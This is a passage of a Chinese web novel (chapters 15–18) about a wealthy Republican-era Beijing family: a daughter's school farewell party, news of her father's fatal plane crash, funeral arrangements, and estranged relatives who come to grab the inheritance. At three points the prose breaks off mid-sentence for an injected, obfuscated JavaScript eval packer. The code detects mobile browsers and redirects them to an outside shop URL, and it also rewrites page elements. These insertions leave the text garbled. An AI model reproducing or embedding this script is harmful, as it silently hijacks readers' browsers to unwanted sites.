姚大娘见孟西洲久久地不搭腔,知道自己的算盘被识破了,生怕这有钱老爷下一秒抬脚走人,自己就什么都捞不着了,赶紧将手指扣回了两根,讨好道:“瞧我糊涂的,哪儿能月月都有这个数呢。不过送宝莲去读书,总要备两身学生式样的衣服呀,我听说体育课还要另买运动衣哩,花费是很多的。” 孟西洲不咸不淡地点了点头:“那就说定了,每月三十块。工作和读书,是选读书咯?” 姚大娘忙不迭地接口:“读书!读书!”一个是拿一份钱自己挣一份,一个是直接拿两份,当然是后者更佳! 孟西洲最后敲了一下手指,说:“好,往后我每月派人寄款一次,相应的,你们须出具一份当月的成绩单。不拘考得好考得坏,我出了钱,总要知道人确实是在学校里。” “是,是,宝莲,还不快谢谢贵人老爷!” 姚大娘拿胳膊撞了撞旁边的闺女,后者一脸的不痛快,刚要开口说点什么,就被自己娘打断道:“让你读书,那是老爷看得起你,觉得你有本事呢!” 硬按住她,把这桩协议订下了,再看窗外,竟也雨过天晴了。 孟西洲留下五块钱算作茶钱,转身抬脚就走。等他走远了,姚宝莲终于扭着身子跺了跺脚,大吐苦水道:“这是什么意思?又不亲近我,反要我去读书?妈,我看到小报上那些密密麻麻的字就心烦!” 姚大娘把那五块钱在手心里颠了一颠,喜滋滋地哄道:“他是什么样的人物?能有机会搭上,那就是咱的造化!他让你读你就读,等识文断字了,也有机会当个姨太太!” 15. 第 15 章 要说这个月,过得最恣意快活的非白瑾琪莫属了。 自从接了清江大学的录取通知函,她俨然已是逃脱了五指山了!所谓“一日看尽长安花”,偌大一个北京城,有数不完的娱乐供她消遣,每一日都过得目不暇接! 今天逛公园,路过戏园子就进去听一耳朵;明天再换成西式做派,坐轿车上新开的咖啡馆要一块栗子蛋糕,玩到后头,白瑾琪自己都要提不起劲儿哩! 不过这天倒是她斗志昂扬的一天,暑假过了大半,中学里那几个同班同学总算凑上了彼此都空闲的时间,要办一个告别会。据钱瑞芝给她的消息,程巧书是一定会到场的。 为此,白瑾琪连懒觉也不睡了,一大早便开始挑选“战袍”。她先是从一柜子的衣服里挑出几件簇新又别致的,展开了铺在床上,是穿那件淡蓝色的丝缎小洋裙呢?还是那件明黄色带闪光纱的上下两截式洋装呢? 照白瑾琪的性格,当然是越鲜亮抢眼的越好,势必要一出场亮相,就压过程巧书一头!可不知怎的,她今天看那黄裙子倒不大入眼,刚想伸手捞过来对着镜子比一比,右边眼睛便无端地跳起来。 她倒是没有陈芳藻那样的迷信,觉得眼皮跳一跳就是个征兆,可心里总归烦乱得很。最后,还是挑了一身浅杏黄色绣珠子的短袖旗袍,这还是在二姐姐常去的旗袍店里做的哩,她本来只是个陪客,但白瑾璎偏说她穿这件显得文静,就一起订下了。 也是,她现在大小也是个大学生了呢!穿得有书卷气一些,那是相得益彰呀!白瑾琪在心里小小感到得意。 要压过程巧书,何必靠漂亮衣裳?考学的录取榜单,那可是全校张榜宣告的!程巧书考进清江大学是意料之中,可自己那是狠狠提了大几十分,□□一般进了同一所学府哩!就凭这,不已经压了她一头吗? 自己正应当表现得低调谦虚点呢,越是这样,她越要在心里呕血,哈! 这样想着,心里已然感到了一点快意。随便用了点早饭,换好衣服,又往脸上抹了点进口面霜,便坐车去了中学附近的永福饭店。 论菜色论环境,永福饭店当然不能和她常去的番菜馆或华侨饭店相比,不过这里距离中学颇近,包厢也足够宽敞,以往班里办什么庆祝会或聚餐,也常常选在这里,这一次举办告别会,倒有点善始善终的意味。 白瑾琪一进到包厢,就听见钱瑞云扬着声音高喊了一声:“啊呀!咱们班最大的黑马来啦!” 包厢里已聚集了不少同学,一时间,所有的视线都向她转了过来。本来程巧书坐在圆桌旁一把沙发椅子上,左右都围着男同学嬉笑谈话的,这时也都看向门口,自己刚抛出的话头也没有人接,负气似的轻哼一声,把一张笑脸给沉下了。 等气氛再次活络起来的时候,钱瑞云已经把白瑾琪迎到了圆桌上,自己和钱瑞芝的中间,一个说:“还从没见你穿过旗袍呢,真好看!瞧,连打扮也越来越像个有墨水儿的人了!” 另一个也要好道:“瑾琪,你真叫人出其不意,考前那阵子,我看你天天埋头苦学,真为你捏一把汗哩,想不到你真考上了!简直让人刮目相看!” 说到这,眼睛轻轻往沙发那边一瞥,虽没有刻意拔高嗓音,但清晰的口齿在不算吵闹的包厢里也格外抓人的耳朵,阴阳怪气地嘲讽了一句,“不像有些人呀,平时什么样儿,到了考试果然还是那个样儿,其实不进则退,已然被人超过啦。” 这样引战的话,白瑾琪听了也觉得有些扎人,觉得钱瑞云大可以不说。只是还轮不到她提出异议,话里的“有些人”已经忍受不住了,由鼻子里送出一声冷笑,回应道:“是了,再用功,比不过有些人有一个总长父亲!” 这话说得太过分!她觉得白瑾琪能上大学,必然是白齐盛在背后走动了关系,这不说是对白齐盛的莫大诋毁,也把白瑾琪累死累活所受的读书的罪,都给否定了! 白瑾琪的火气一下窜到脑顶,梗着脖子正面回击道:“我父亲是我父亲,分数是分数,分明是两码事,你要是不相信,大可以写封信去教育部,让人开了密封袋子查看考卷呀!看你说的有鼻子有眼的,怎么,你父亲舍了交通部的副处长不当,跑去教育部了吗?” 她这话说得格外刚直有力,知道程巧书的父亲久不升迁,又把职位前的“副”字咬得重重的,直刺对手的痛脚。果不其然,她话音刚落,程巧书的眼圈儿就红了。 她们两人不对付,那是对全班公开的事,早在程巧书发出冷笑的时候,大家便都停下了谈话,静观冷凝的气氛了。此刻高下已定,倒开始发声调解,劝程巧书道:“好了,别说了,白同学考前那拼命的劲头,大家可是有目共睹的。” 也有一板一眼的,“程同学可不能张口就来,教育部批卷和录取都是很公正的。照你这样说,在教育部当官儿的,但凡有念书的子女,都值得怀疑一下了?” 还有和稀泥的,说:“今天是告别会,往后要再见可就不容易了,何必还要针锋相对,闹得不愉快呢?人齐了吧?上菜!上菜!” 反正不管语气是委婉还是冷硬,哪个也不是帮着她的。程巧书委屈得要命,恨不得跟白瑾琪再也不见,可她们进的是同一所大学,往后见面的日子,可还多着呢!终于克制不住地低泣了一声,捂着眼睛跑了出去。 白瑾琪才不管她,爱去哪里去哪里,等凉菜上了桌,边伸筷子小口小口地夹,边问钱瑞云道:“我还不知道,你考去了哪里呢?” 钱瑞云叹一口气,说:“你知道,我的成绩本来也不怎样,北京的大学够不上,我父亲给我问到了外省一所学院,倒是愿意收我。下个月就要赶去天津了。” 白瑾琪遗憾似的“哦”了一声,她有点舍不得,但想了想又说:“不过,能去外头走一走,见识见识,那也是好事。就是你们姐妹两个这就要分开了,想必不大适应吧?” “不适应也没有法子,不过......”钱瑞云冲她笑了一笑,颇秘密地说,“我没有告诉你吗?姐姐非但是留在北京念书,念的还是和你相同的学校哩!” “也是清江大学?”白瑾琪惊喜万分,一下子将筷子放回到桌上,扭身握住了钱瑞芝的手。 钱瑞芝平时都是伶俐活泼的性格,今天倒一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208009|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直很矜持,也不说话,只是微笑着对白瑾琪点了点头。 反而是另一边的钱瑞云,一味地替她开口陈述:“你是不晓得,除了清江之外,还有四五所大学愿意收姐姐做学生呢。为了再和你同校,她别个都不考虑了。” 白瑾琪的心里,实在受到很大的触动。她对待钱家的两姐妹,虽说聊得投机,也不过把她们看做日常玩乐的搭子,因为都是由她请客做东,对于姐妹俩偶尔有之的某些举动,还有些看不上眼。想不到她待自己是这样情深义重。 白瑾琪一时竟激动得说不出话来,心想,我一味苦恼于大学里有招人讨厌的程巧书,想不到还有我一个伙伴呀!这是老太爷都看出了我辛苦不易,要送我一份礼物! 握着钱瑞芝的手摇了几下,见她一双眼睛期盼似的望着自己,白瑾琪实在很想说点什么,然深深吸一口气,还是吐不出什么掷地有声的言辞,总觉得语言怎样都是很薄弱的,最后只说:“真好,真好,今天可不是咱们的告别会!” 之前跑出去的程巧书在上完冷菜后,果然又若无其事地回来了,仿佛只是去盥洗室补了补粉。她知道斗不赢白瑾琪,干脆低调行事,但凡提到白瑾琪的话,她都不接茬。 热热闹闹地吃完一顿饭,就此散席又觉得可惜,班长便提出再换个地方,“不如去游艺圆?里头有戏法有杂耍,还搭了戏台子,都不喜欢的,那还可以去湖里划划船!” 众人都赞成。白瑾琪也觉得这主意不坏,刚要应承一声,忽听有人敲了敲包厢大门,一个服务员探身进来问:“白瑾琪白小姐在不在呢?” 白瑾琪茫然地举了举手,那服务生便说:“大堂有找您的电话,劳驾来听一听吧。” 够奇怪的,谁会专程给自己挂电话来呢?知道自己在永福饭店的,那就只有家里人无疑了。不过她家里是很自由的风气,不拘姨娘还是两个姐姐,只要不是玩到三更半夜,对她的外出娱乐,都是不大限制的。 考学前期,二姐姐倒是对她看管得很严,要时刻知道她的动向,不过那也是被陈姨娘再三托付了补习学业的缘故,现在这个前提,已然是不存在了呀。 难道真是二姐姐不成? 白瑾琪漫无边际地边走边想,把电话的话筒接到手里时,对面竟传来陈芳藻的哭声。她显然已是六神无主了,哭诉着:“瑾琪,你快回来啊!你爸爸没了!他搭的飞机出事故了!” 陈芳藻的嗓音又尖又细,却像在白瑾琪的脑子里劈开一道惊雷一般,两耳嗡嗡直响,半天都回不过神来,一心只想着“假的!假的!” 也许她已下意识地说出了所想,电话那边呜呜哭了一阵,又说,“是真的,重庆防空局的局长亲自打来的电话,一箩筐的事情!你大姐姐已经在应付了,你快回来吧!”紧跟着又是连绵不断的哭声。 白瑾琪不知道自己是怎样挂断电话的,她喘着气,像从水里捞出来一般冷汗淋漓。刚想迈出一步,才发现脚下虚飘着,差点跌一跤。 她眨着眼睛,恍惚中觉得右眼皮又跳了一跳。 爸爸没有了......白瑾琪五雷轰顶。 16. 第 16 章 距离那一通由重庆打来的电话已经过去四天,白公馆的空气里实在有一种万念俱灰的死气。 白瑾琪惶惶然的,只记得那天一回到家就被陈芳藻拽在身边哭了一通。出了这样大的事,想必谁也没有心思叫佣人摆饭,可是在晚饭时间下楼,还是在客厅见着了失了魂一般呆坐的白瑾璎,彼此面面相觑,便又生出一种深切的悲戚。 陈芳藻是恨不得叫每个人知道自己悲痛万分似的,当即又发作了一场,说是“哭天抢地”也不为过;白瑾璎的样子却是另一种极端,只默默地淌着眼泪,靠在沙发背上又沉又深地喘气。 白瑾琪心里那一阵害怕和混乱过去了,才终于回过味来似的,涌上悲伤的情绪,也跟着呜呜哭泣起来。 没有哭过的,恐怕就是白瑾瑜一个了。 自从接了那通电话开始,她俨然成了偌大一个白公馆的主心骨顶梁柱,成了扭到最紧的螺丝钉,她有数不清的事情要去处理。白齐盛本来是多么身居高位的人物,总要有一场体体面面的丧礼;为今后种种考量,他手上的房产资产,也有必要做一个清算汇总。 白瑾瑜没处可去,一楼的客厅里,大家都是哭在兴头上,实在不是适合办公的好去处,只好借用了父亲生前办公的书房。她坐在父亲曾经坐过的梨花木头的椅子上,实在有一种物是人非的沉痛伤怀,那也只能不去管,拿着纸笔一条条地罗列事项。 先要有的就是寿材......啊,不对,白瑾瑜按着额头,突然想起电话里重庆防空局局长说的话。 一来是飞机坠机的事故,尸体损毁的程度是很严重的,二来还在夏天,那就更不便于遗体的保存,更何况由重庆到北京,总要花费几天时间。故此尽管深感悲痛,恐怕要将白齐盛的遗体在重庆先行火化,再以移交骨灰盒的形式来操办。 白瑾琪怔怔地望着那张纸出神,最终眼眶发红地将寿材划去,在那底下,又逐次列出丧礼要用的灯烛,白棚,酒席等事宜。 寿衣和黑纱是在知道丧讯后就立刻着手去预备的,也许明天一早就可以送来。等白瑾瑜终于放下笔后,窗户外头已经是漆黑一片了,再打开书房大门,也似乎听不见什么恸哭的动静。 白瑾瑜靠着房门,在这一片安静里做了几个呼吸,小声呼喊两声“虞妈”。她倒还没有睡,用手帕拭着眼角,从二楼书房边上的小客厅里走来了。 白瑾瑜宽慰她几句,道:“这个节骨眼上,我们实在不能倒下。眼下家里几乎没有能拿主意的人,光我一个人的力量,太过薄弱了,虞妈,我很需要你的帮忙。”又将方才写好的事项交给她,请她明天就去联系店家。 虞妈接过单子应了一声,刚要退下,又被白瑾瑜叫住,问:“瑾璎怎么样了?” 她叹了一口气说:“哭过好几回了,我看着实在是揪心,晚饭也没有怎么吃。不过很早就回房睡了,这倒是不坏的,想必精神上已是累坏了。” “老三有自己的亲妈陪着,我不担心。但是瑾璎......”白瑾瑜沉吟了一会儿,还是说,“当初她母亲走的时候,她就受了很大的刺激,这一次又有爸爸的事,两厢联想之下,那伤心恐怕是成倍的。虞妈,你叮嘱底下的人一声,尽量别在她面前提爸爸从前怎样怎样,她要是睡不好,就在她睡前喝的温水里加一片......不,加半片安定剂。” 虞妈答应了一声,看着她一件事一件事条理清晰地交代,体味到的又是另一种揪心,关怀道:“有什么事,你尽管吩咐。只是你自己的身体,也要顾好才是。” 白瑾瑜虚弱地一笑,说:“我知道,我当然不能倒。我要是倒了,这个家非被拆散了不可。” 她交代是交代了,但那安定药片还没有放下去,白瑾璎就病倒了。家庭医生一大早就被接到了白公馆,一针西药打下去,人虽还没有完全清醒,那浑身上下烫得烧手的温度,总算是退下去一点。 人都说坏事不断,这当然又是一件坏事,但总算也有一件多少让人宽心的好事。第二天近中午的时候,蒋家来人了。 白瑾瑜这才略松过一口气,蒋牧城的父亲同白齐盛官衔相当,是真正能镇得住场子的大人物,并且自己对父亲平日的机关事务并不大了解,丧礼上需要请到的同僚或上下级,也需要他帮忙联系。 故而亲自去到大门口接人,又很恳切地开口求助。 好在蒋伯父很愿意相帮,多的话不说,只按了按白瑾瑜的肩膀,道:“为你父亲走得突然,政府如今乱成了一锅粥,一个军务部总长空缺下来,多少人挤破了头想要上去。我的力量用在部里,恐怕分身乏术,但我留一个机要秘书给你,公务相关的,你都可以让他代为出面;或是有什么不明白想问我的,也可以告诉他,由他和我汇报。” 言简意赅地交代完,连午饭都没用,又匆匆坐车赶去了衙门。可见公务之繁忙。 他走了,倒是把蒋牧城留下来临时帮忙,后者也很有帮忙的自觉,一进白公馆的大门,便将黑袖章戴上了。 陈芳藻在蒋副总理跟前,是一句话也不敢说的,但对着蒋牧城,因为自己多少算是长辈,也就少了几分胆怯。眼下见了他,直如看见了能顶事的主心骨一般,一个劲儿地抹着眼泪念叨着“这可怎么好,往后怎么办”。 蒋牧城道了一句“节哀”,也说不来什么安慰话,只询问丧礼筹备到了什么阶段,有没有要他协助的地方。 陈芳藻哪里知道这些,支支吾吾地也说不出个所以然,问什么都推说得去找大小姐。最后,还是虞妈找了过来,请他帮忙核对一份殡葬用品单,再追写两幅挽联。 蒋牧城做完了事,想起今天来白公馆之后,唯独没见过白瑾璎,问虞妈道:“二小姐呢?” 虞妈很是叹了一口气,“今天早上就发起高热来了。也是我没留心,她昨天靠着窗台吹了好一阵风,我只当她想透 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208010|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 透气,也不敢上去打扰。蒋少爷你知道的,这新伤旧痛的,她怎么能不伤心呢。” 是啊,何止是伤心,她怕是悲痛欲绝了。 蒋牧城打了声招呼,在看过了灵堂的搭建进程后,鬼使神差地,任凭自己的脚步走向二楼。他是客人,又白家现在只剩下女眷,照道理,他当然是呆在一楼为宜,可是听说她病了,他就坐立不安,总想着去看一眼。 偏偏在二楼白瑾璎的房间外撞上了刚出来的白瑾瑜。 她穿一身纯黑的素面旗袍,胸前已经缀上了黑纱结,手上拿着刚换下的冷毛巾。见到他时,本来就没甚表情的脸色更冷了,还带着两分质疑:“你上二楼做什么?” 蒋牧城也暗道运气糟糕,只是自己本来也没有抱坏的心思,故意回避不说,反倒显得他形迹可疑了,干脆直白道:“瑾璎病了,我来看看她。” 白瑾瑜横着眉毛,一脸想不到他真敢说出来的神态,脚下却站在门前不挪动,活像鸟类驻守着巢穴,而巢穴里正藏着她宝贝的小雏鸟。说:“她还昏睡着,让你见了,一来不能说什么话,二来,病人穿着寝衣满头大汗的样子,也不便受人探望,是不是?” 那就是委婉地拒绝的意思。 其实,打从撞见白瑾瑜开始,蒋牧城就知道今天注定是见不到人了,只是当面再被她怼开一次,心里多少不大痛快。可谁让她是瑾璎的姐姐,他暗想,舌尖抵着牙根,到底没多说什么,点了点头就要走。 反倒是白瑾瑜出声叫住了他,反常地挤出一个堪称友好的微笑,意味深长道:“虽说还睡着,但高烧总算退了,人清醒过来,也就是这两天的事。你要是不嫌麻烦,多跑几趟,总能见着她。” 放在从前,她恨不能当个王母娘娘,手指头一画就把他们隔开百八丈远,现在这样说,自然有自己的用意。 正式丧礼那天,蒋伯父势必会到场致悼词,反倒是安心无虞的一天。但在丧礼之前,恐怕就会有不少父亲的同僚朋友上门,朋友还好说,若是同僚,焉知是敌是友?自己再大的能耐,在别人眼里不过是个没权没势的女流之辈,免不了受人轻视。 虽说蒋伯父留下一个机要秘书,可秘书到底不姓蒋,论职级,恐怕也比不上海关的副总长更有威慑力。故而,若是蒋牧城能多多露脸,对自己是有百利而无一害的。 这样做,虽然是拿白瑾璎做诱饵来谈条件,但那也是无奈之下的权宜之计,想必瑾璎不会和她计较。 白瑾瑜难得地摆出好脸送了送蒋牧城,下楼时听见灵堂那里远远地传来嘈杂声,忽然就想起一件事来。扭头找来了周秘书,很客气地问他:“我父亲原先在军务部可有多余的人手?” 苦笑一声,解释道:“实在是老家那里有一窝不成器的亲戚,为防闹事,想在家里安排一队卫兵,不必很多,有十个人就足够了。周秘书,你看是从部里借调为好?还是请警察厅协助办理为好?” 17. 第 17 章 原来白齐盛的祖籍并不在北京,而在济南一带,他同样是母亲走得早,父亲另娶后,继母一连又生下两个弟弟,渐渐的,他倒成了最不受重视的那一个。 不必说,继母的眼睛无疑只绕着自己的亲生孩子打转,白齐盛本来也不是喜欢诉苦叫屈的人,因为这份硬气,父子关系更是生疏到了极点。长到十六七的年纪,已然不被家人视作白家的一份子,甚至吃饭也不会摆他的碗筷,他自己亦不把家里当做归属。于是自行外出寻找营生,最后当兵打仗,直至出人头地。 在他离家之后,家里便和他断了联系,更不用说打仗的那几年,要不是白老头还有捡人家旧报纸看的习惯,恐怕都以为他死了吧。 偏偏叫他看到了那一份新政府成立的报纸,偏偏报纸上还登出了白齐盛的相片。 他当时任职军务部的处长,和诸如总理秘书长之类的大人物相比,职位并不算高,登的相片也小,但白老头的眼睛尖,认人的本领不差,又或者白家早已到了穷途末路的地步,嗅着一点渺茫的希望都想要伸手抓一抓。于是乎,白老头提着布包袱孤身一人上了京,一路打听,竟真叫他摸到了当时白处长的家门口。 白齐盛认出他来,知道这是父亲见他做了官,要来攀附他了。出于道义,倒没有立刻把人轰走,只是对他的态度亦很冷淡,和当年离开家时没什么两样。 白齐盛从来也不是好商好量的人,当初一脚踢开他的人,如今想来渔翁得利鸡犬升天,那绝不能够。只是那时候,第二位夫人刚刚怀上瑾璎,出于为孩子多积富德的考虑,他对人对事都格外宽容一些。最后也是备了一笔钱,把白老头打发回了济南。 白老头揣着钱被送去火车站时,两条腿都还打着哆嗦。那站得笔笔挺的警卫员,那一副副冷脸,还有一杆杆长枪和黑洞洞的枪口,真要吓破他的胆了!不然,他怎能这么容易就被打发走? 不过颠一颠怀里的大洋钱,总算也不是空手而归,像他们这种生活在乡下小地方的人,这无疑是够过一辈子的巨富了。 虽然白齐盛讲明了往后和他没有关系,为了拿钱,白老头也同意了不再上北京来,不过济南之于北京,千里迢迢的,谁管得着谁呢?何况他又是脑子活络,顶擅长钻营的人。 回去不多久,因为白老头放出的一点风声,二儿子白齐昌很快就捞到了当地卫生局的一个挂名闲差,每月有一百四十块的薪水;更有一所小学请他做了名誉主任,另有一月五十块钱的车马费。小儿子白齐荣实在是不成气候,即便如此,也受到了诸多优待。 林林总总加起来,说白家成了富贵人家,那都不为过了。 尤其是白齐昌,自从发迹之后,整个人都抖了起来。不光在外头捧戏子玩女人,更是把儿子的名字改成了白展鹏,想着他能继承自己的本事,大鹏展翅,一飞冲天哩! 也好在是天高皇帝远,这么些乱七八糟的糟心事没有闹到白齐盛的眼皮子底下,这么多年,彼此倒是各管各地过舒坦日子。 然而白瑾瑜的担心不无道理,白齐盛就好比白家的一尊门神。有他在,不必本人亲自出面,也能镇住底下那些魑魅魍魉,可一旦他不在了,那就说不定了。 果然,就在正式举办落葬仪式的前一天,午饭时间刚过,就听门房听差进来传话,说来了两男一女,自称是老爷的弟弟弟媳,要进来悼念兄长。 这天上午,白瑾瑜刚从重庆负责人那边接过了白齐盛的骨灰盒子,有许多手续需要去办公厅办理,故而并不在家。家里倒有一位曹管家,只是从没听老爷生前说过自己有什么亲戚,逢年过节也没有往来送礼,心里先就有一丝怀疑。不过见对方言之凿凿的样子,倒也不好怠慢,于是把人领去灵堂拜一拜之后,带去了公馆一楼的小客厅稍作休息,一切等大小姐回来了再定夺。 白老头好几年前就作古了,这次来的便只有白齐昌、白齐荣、并白齐昌的老婆吴桂芝。因白齐昌的儿子白展鹏要准备考学,白齐荣的太太正怀着身孕,便都没有上京。 白齐昌一样是在报纸上知道了白齐盛去世的消息,军务部总长因飞机事故丧生,这么大的事,但凡大一点的报社,就没有不作报道的。 往年有白齐盛这座大山压着,他们便只敢在自家那片小小地界上逍遥快活,如今五指山没了,哪儿有不出来放放风、收收账的道理?别看他从不往北京城跑,白齐盛的情况,他是很用心打听的。据说他膝下是清一色的女儿,竟没有一个儿子,哈!这可不正是天助我也! 女人顶什么用?整日里不是絮絮叨叨就是哭哭啼啼,哪里比得过他们两兄弟?如今民国社会是怎么说的?是了,法律!就眼下这情况,法律总要判一点遗产给他们吧? 想到遗产,白齐昌便忍不住两眼放光。 他呆在老家,已然过得足够阔绰潇洒,以为白齐盛的日子过得再好,也不过就是这样了。直到他找来白公馆,站在大门外一张望,才知道什么叫做云泥之别。 瞧这气派恢弘的黄铜大门哟!透过大门往里望,满眼都是精心修剪过的花坛草坪,目光尽处遥遥立着一栋气派的雪白三层小洋楼,这哪里像是普通人家的住所!要是不说,他还当是市政府的机要办公处哩! 更不要说走近后那座立在洋楼前的喷泉,他从没见过,也知道是外国引进的洋玩意儿,有钱人也未必受用得起! 对比之下,自己真如同井底之蛙,困囿于小小一爿地界,不晓得白齐盛在北京过得如同皇帝一般哩! 白齐昌愈想愈气,甚至生出怨恨,他白齐盛发达至此,就用那么几块大洋便把家里老小一脚踹开了,简直是岂有此理!要不是这个大哥无情无义,指不定现在就是自己住在这皇宫似的洋楼里,数不尽的听差供他用,最漂亮的戏子让他捧,美酒宴席,更是可以敞开了肚皮吃! 叫他吝啬绝情!死得好! 他们可是有血缘关系的。白齐盛死了,照理说,他的东西,自己也有继承的权利! 白齐昌兀自沉浸在自己漫无边际的设想里,还是他老婆吴桂芝眼尖,看见一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208011|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时髦妇人远远地下了楼梯。那妇人穿一身纯黑带暗纹的旗袍,脚下的皮鞋却擦得很亮,头发也是精心打理过的烫发,更不要提她手上还戴着玉镯子金戒子了,那绝不是当佣人的样子。 吴桂芝眼睛一转,人已经由沙发上站起来,放开声音招呼了一声,“太太!可是白齐盛大哥的太太?瞧我,都没机会来见见你,真够惭愧的。” 来人正是陈芳藻,她这也不懂那也不会,又不愿意担责任,什么事都推给当家做主的白瑾瑜去干,自己倒成了家里最闲的人。 她进门晚,白齐盛也不过是养着她,从不向她坦白心事,故而压根不认识这一群早就不来往的亲戚。不过那一句“太太”倒让她很受用,在这家里,谁都是喊她“姨太太”,她盼着这声“太太”,可实在是太久了! 于是也没有对这个称谓表示否认,慢步踱了过去,委婉地询问道:“几位是......” 还是吴桂芝的嘴最快,当即又惊又喜地换了称呼:“真是嫂子呀!咱们没有见过,不怪彼此不认识,这是白齐盛白大哥的两个兄弟,排在前头的是我丈夫哩,叫白齐昌。唉,这真是让人想不到的伤心事,太太可千万要节哀。” 说着,自己先抽出手绢来拭了拭眼角。 陈芳藻先是半信半疑,怎的自己来白家这么多年了,愣是没听说过老爷有两个兄弟?于是仔细看那两位男客的样貌五官,或眉毛或嘴角,倒真和老爷有那么几分相像。 又听吴桂芝说他们一直定居济南,平时不大外出走动,这次是听说大哥过世了,这才说什么都要跑一趟北京的,已然相信了八九分。加上方才那一声“太太”喊得她通体舒畅,陈芳藻俨然已将这三人视作真亲戚,尤其对着吴桂芝,格外亲热地闲谈起来。 其间还专程让人把白瑾琪喊下楼来一趟,拉着她道:“你怕也是第一次见吧,这是你爸爸的两个兄弟,你二叔和三叔呢。瑾琪,快叫人。” 吴桂芝摸准了陈芳藻的脾气,尽捡她爱听的好话吹捧:“哎哟,这就是三小姐吧!真漂亮!这通身的气度就不一般,像嫂子你呢!” 白瑾琪对这话却不大受用。从前那些来家里走动过的爸爸的同僚朋友,她不认识的多了,也时不时会被拉出来叫一声叔叔伯伯。可眼前这三个自称是亲戚的人,实在让她觉得不大舒服。 只是陈芳藻在旁边催促着,心里再不情愿,还是只能叫了人。 白瑾琪硬挤了个笑脸,刚叫完人就说:“妈,我去看看二姐姐,虞妈说她早上吐了一回,刚才总算吃下去点东西,我去陪她说说话。”说完,也不等陈芳藻反应,先就一溜烟地跑了。 见不见白瑾琪,对白齐昌一行人而言根本无关紧要,她走了最好。小孩子家家在场,总归不好谈正事。 吴桂芝见铺垫得也差不多了,便悄悄给白齐昌使一个眼色。后者清了清嗓子,架起腿来,霎时换了一副颇有压迫感的架势,问陈芳藻道:“嫂子,大哥的事纵然叫人悲痛,不过一码归一码,你往后可有什么计划没有?” 18. 第 18 章 陈芳藻被问得愣了一愣,说他是在关心自己,那实在有点不像,只好先含糊道:“唉,我能有什么计划,当家的没了,还不是只能走一步看一步的事。” 白齐昌在心里暗骂她不开窍,面上却不好发作出来,不然岂不成了大刀阔斧要钱的强盗?只能继续诱导:“我的意思,未来的花销生计,心里总要有一本账。好在我大哥很有本事,地产银钱想必留下不少,一时半会儿,是不必为钱发愁的。”说着,勾着一边嘴角做一个意味深长的表情,哈哈笑了两声。 陈姨太心里一紧,知道他这是要和自己谈钱了,对方虽未明说,她自己先就慌了起来,摇着手道:“诶呀!钱的事,哪是我一个妇道人家该管的,就是老爷还在的时候,我也是半点插不上手的呀!” 她这样的露怯,更方便白齐昌拿捏她了,步步紧逼地说:“那不能够吧?难道偌大的家财,都叫管家打理着不成?太太,以前插不上手,现下可也得学着管起来了,不然以后可怎么办?咱们亲戚之间的事,也不好谈呀。” 话的末尾露出一丝凶相,可不正如狼狗盯着骨头,强盗盯着财宝吗? 陈姨太再迟钝,也看出这些所谓的“亲戚”,是势必要借这次事故分走一笔钱了。 一面想,造孽哟,自己这个向来三不管的闲人,何以要面对这样怕人的阵仗?一面又想,自己虽不知道家里的钱财统共有多少,可分给别人一点,自己也就少一点,就这一点上讲,她是一个子儿都不愿意漏出去的。 但看看眼前这几个人凶悍的样子,又和老爷有着沾亲带故的关系,家里几个女人怎么斗得过?看来这一口肉,是无论如何都要被咬走了。 又惊又怕之下,浑身都打起细小的哆嗦,原本的笑脸僵在嘴边,成了一副不哭不笑的怪模样,再不敢多说话,只一味附和着:“好谈,好谈......” 见她是这个样子,白齐昌的心里简直感到得意,觉得这大把的钞票,下一秒就能跳进自己的裤腰带里。刚要再开口,只听一道声音由客厅的入口处传来,凛凛然地盖在陈姨太之上,道:“要说以后,白先生怎么不问问我呀?” 白齐昌一个惊讶,扭过头时,只见一道高挑的人影已经进了客厅。 他没怎样细看——那女郎漂亮是漂亮,但实在年轻的过头。料想她是白齐盛的不知道哪个女儿,先就带上了几分轻视,板着脸道:“大人在说事,小姑娘家家的别插嘴。” 白瑾瑜却是上下打量了他一眼。不光是他,连带着旁边的吴桂芝和白齐荣,俱都看在眼里,并与心里的名号一一对号入座。末了,才不咸不淡地嗤笑了一声,道:“我看出来了,你想谈谈钱,可惜问错人了。” 大概是她的姿态太过镇定自若,说出的话也像是玉珠子落地,格外的掷地有声,倒显示出她是与陈姨太全然不同的两派人物。 白齐昌这才定睛开始瞧她,见她素净着一张脸,眼下隐隐有两团疲惫的青黑,但一双眼睛却黑白分明,有一种摄人的神采。因她是站着的,那视线自上而下地投向自己,竟看得他莫名地心虚气短起来。 